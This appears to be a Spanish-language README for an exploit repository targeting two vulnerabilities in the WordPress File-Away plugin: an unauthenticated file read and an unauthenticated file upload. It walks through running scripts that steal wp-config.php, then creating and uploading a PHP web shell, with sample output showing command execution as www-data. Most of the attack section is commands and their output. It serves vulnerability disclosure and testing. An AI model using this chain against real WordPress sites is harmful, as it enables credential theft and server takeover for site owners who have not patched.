
Scripts de explotación de ejecución remota de código para el plugin File-Away de WordPress (CVE-2025-2512 y CVE-2025-2539)
Este repositorio contiene los detalles de las vulnerabilidades y los scripts descubiertos en File-Away, un plugin de WordPress utilizado para la gestión de archivos.
Este plugin contiene dos vulnerabilidades que pueden conducir a la ejecución remota de código (Probado en File-Away 3.9.9.0.1):
El plugin File-Away para WordPress es vulnerable a la lectura arbitraria de archivos sin autenticación en todas las versiones hasta la 3.9.9.0.1 inclusive.
Esta vulnerabilidad existe debido a dos problemas: la falta de verificación de autenticación en la función lib/cls/class.fileaway_stats.php:file_away_stats->ajax() y el uso de un algoritmo de cifrado débil en la función lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt().
Esto permite a atacantes no autenticados leer archivos arbitrarios, incluido el archivo de configuración de WordPress (wp-config.php).
El plugin File-Away para WordPress es vulnerable a la subida arbitraria de archivos sin autenticación en todas las versiones hasta la 3.9.9.0.1 inclusive.
Esta vulnerabilidad existe debido a dos problemas: la falta de verificación de autenticación y la deficiente verificación del tipo de archivo, ambos en la función lib/cls/class.fileaway_management.php:fileaway_management->upload().
Esto permite a atacantes no autenticados subir archivos arbitrarios que pueden conducir a la ejecución de código.
Si el plugin file-away está instalado y habilitado en la instancia de WordPress objetivo, el nonce fileaway_stats debería estar presente en la página de inicio:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
Instala los requisitos de python:
python3 -m venv venv && venv/bin/pip install httpx
Utiliza la vulnerabilidad de lectura arbitraria de archivos para obtener el archivo de configuración de la instancia de WordPress (wp-config.php):
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
Crea un archivo PHP para subir:
echo '<?php system("id"); ?>' > /tmp/exec.php
Utiliza la para subir el archivo al servidor:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ El archivo se sube al directorio wp-content por defecto ⚠️
Accede al archivo PHP subido:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)